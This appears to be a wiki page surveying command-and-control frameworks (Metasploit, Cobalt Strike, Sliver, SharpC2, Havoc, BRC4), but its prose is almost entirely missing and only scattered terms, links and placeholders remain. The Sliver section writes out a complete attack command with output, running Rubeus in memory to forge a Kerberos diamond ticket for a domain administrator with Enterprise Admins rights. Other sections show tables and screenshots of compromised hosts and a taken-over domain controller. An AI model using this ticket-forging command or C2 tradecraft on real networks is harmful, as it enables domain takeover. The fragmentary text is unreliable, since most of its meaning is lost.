

C2

C2

C2

C2

<https://www.thec2matrix.com/matrix> C2

C2

C2

# Metasploit

Metasploit

exp

Meterpreter

C2

Kali Linux

Metasploit

[image.png](#) and or type unknown

# Cobalt Strike

Cobalt Strike

C2

APT

C2

Cobalt Strike

BUG

VNC

[image.png](#) and or type unknown

# Sliver C2

<https://github.com/BishopFox/sliver>

C2 Sliver C2

APT

C2

Sliver C2

Cobalt Strike

OPSEC

BUG

GUI

```
sliver (WIDE_MURRY) > inline-execute-assembly -t 5 /opt/red/rubeus.exe "diamond /tgtdeleg /ticketuser:administrator /ticketuserid:500 /groups:519 /sids:S-1-5-21-264881711-3359223723-3458204895-519 /krbkey:f2a363997e7539b83637c12d872600a2b4c2727f2ebd35229d33dd85bdc11ed8 /nowrap"
[*] Successfully executed inline-execute-assembly (coff-loader)
[*] Got output:
[+] Success - Wrote 446166 bytes to memory
[+] Using arguments: diamond /tgtdeleg /ticketuser:administrator /ticketuserid:500 /groups:519 /sids:S-1-5-21-264881711-3359223723-3458204895-519 /krbkey:f2a363997e7539b83637c12d872600a2b4c2727f2ebd35229d33dd85bdc11ed8 /nowrap

RUBEUS
v2.2.0

[*] Action: Diamond Ticket
[*] No target SPN specified, attempting to build 'cifs/dc.domain.com'
[*] Initializing Kerberos GSS-API w/ fake delegation for target 'cifs/dc01.child.htb.local'
[+] Kerberos GSS-API initialization success!
[+] Delegation request success! AP-REQ delegation ticket is now in GSS-API output.
```

# Sharp C2

<https://github.com/rasta-mouse/SharpC2>

SharpC2

rasta-mouse

C#

C2,

Cobalt Strike,

GUI

.

	User	Hostname	Address	Process	PID	Arch	Integrity	Seen	Health
☐	GHOST-CANYON\Daniel	Ghost-Canyon	169.254.68.55	drone_http	14240	x64	Medium	3s	ALIVE
☐	GHOST-CANYON\Daniel	Ghost-Canyon	169.254.68.55	drone_smb	20244	x64	Medium	33s	ALIVE
☐	GHOST-CANYON\Daniel	Ghost-Canyon	169.254.68.55	drone_tcp-local	18120	x64	Medium	33s	ALIVE

# Havoc C2

<https://github.com/HavocFramework/Havoc>

18 C2

BRC4

## BUG

The screenshot displays the Havoc C2 interface. At the top, there's a navigation menu with options like 'Havoc', 'View', 'Attack', 'Scripts', and 'Help'. Below this is a network diagram showing several nodes (represented by computer icons) connected to a central server icon. Each node is labeled with an IP address and a process name, such as '6442894 @ demon\_https.exe\5600 [SPIDER-PC\pparker]' and '571be9a8 @ demon\_smb.exe\3528 [TALON-DC\Administrator]'. To the right of the diagram is an 'Event Viewer' window showing a list of events, including 'Started Agent Listener - HTTP/S listener' and 'Spider connected to teamserver'. Below the diagram is a terminal window showing a 'whoami' command being executed, resulting in 'Administrator/TALON-DC'. The terminal also shows a list of group information for the user, including 'TALON\Domain Users', 'Everyone', 'BUILTIN\Administrators', and 'TALON\Enterprise Admins'.

# BRC4

EDR

C2 <https://brc4.com/>

CobaltStrike

image.png and or type unknown

PoshC2 Mythic C2

C2

Cobalt Strike C2

VPS

---

Revision #8

Created 5 September 2022 02:59:43 by

Updated 10 October 2023 23:33:03 by unknown